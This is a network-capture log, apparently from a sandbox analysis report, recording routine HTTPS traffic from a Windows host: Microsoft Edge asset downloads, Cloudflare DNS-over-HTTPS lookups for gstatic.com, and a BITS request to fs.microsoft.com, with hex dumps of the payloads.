2024-08-31 23:29:51 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 1f889eb5-a07d-46e2-a75b-17d9770e2b25 MS-RequestId: ce3d38aa-feb8-472f-9d96-40e003460111 MS-CV: Pl6kWv4EL0SnkctS.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 31 Aug 2024 23:29:50 GMT Connection: close Content-Length: 30005
2024-08-31 23:29:51 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-08-31 23:29:51 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49743	13.107.246.60	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:19 UTC	486	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-08-31 23:30:19 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:30:19 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Last-Modified: Fri, 23 Aug 2024 00:10:35 GMT ETag: 0x8DCC30802EF150E x-ms-request-id: 903262f1-801e-001b-4826-f94695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240831T233019Z-16579567576j7nvvu5n0ytgs1c00000005p000000000k1vc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-31 23:30:19 UTC	11989	IN	Data Raw: 7b 0d 0a 20 20 22 63 6f 6e 66 69 67 56 65 72 73 69 6f 6e 22 3a 20 33 32 2c 0d 0a 20 20 22 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 73 22 3a 20 5b 0d 0a 20 20 20 20 22 53 68 6f 72 65 6c 69 6e 65 50 72 69 76 69 6c 65 67 65 64 45 78 70 65 72 69 65 6e 63 65 49 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 43 4f 55 50 4f 4e 53 5f 43 48 45 43 4b 4f 55 54 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 4c 4f 57 45 52 5f 50 52 49 43 45 5f 46 4f 55 4e 44 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 42 49 4e 47 5f 53 45 41 52 43 48 22 2c 0d 0a 20 20 20 20 22 53 48 4f 50 50 49 4e 47 5f 41 55 54 4f 5f 53 48 4f 57 5f 52 45 42 41 54 45 Data Ascii: { "configVersion": 32, "PrivilegedExperiences": [ "ShorelinePrivilegedExperienceID", "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT", "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND", "SHOPPING_AUTO_SHOW_BING_SEARCH", "SHOPPING_AUTO_SHOW_REBATE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49744	13.107.246.60	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:19 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-08-31 23:30:19 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:30:19 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 02 Aug 2024 18:10:35 GMT ETag: 0x8DCB31E67C22927 x-ms-request-id: 66f87118-601e-001a-2116-f94768000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240831T233019Z-16579567576mj4tc2xukwvxfxc000000057g00000000mpem Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-08-31 23:30:19 UTC	15801	IN	Data Raw: 1f 8b 08 08 1a 21 ad 66 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: !fasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-08-31 23:30:19 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-08-31 23:30:19 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-08-31 23:30:20 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-08-31 23:30:20 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49752	162.159.61.3	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-08-31 23:30:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-08-31 23:30:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 31 Aug 2024 23:30:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc0cecc4b3043a3-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 23:30:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 01 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49753	172.64.41.3	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-08-31 23:30:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-08-31 23:30:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 31 Aug 2024 23:30:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc0cecc48767cb2-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 23:30:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49754	172.64.41.3	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-08-31 23:30:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-08-31 23:30:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 31 Aug 2024 23:30:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc0cecc484d436a-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 23:30:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49755	162.159.61.3	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-08-31 23:30:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-08-31 23:30:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 31 Aug 2024 23:30:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc0cecc681ac40c-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 23:30:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 02 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49756	162.159.61.3	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:20 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-08-31 23:30:20 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-08-31 23:30:20 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 31 Aug 2024 23:30:20 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8bc0cecc98fbc463-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 23:30:20 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 4e 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomNPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49758	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-31 23:30:21 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=234919 Date: Sat, 31 Aug 2024 23:30:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49762	142.250.80.46	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
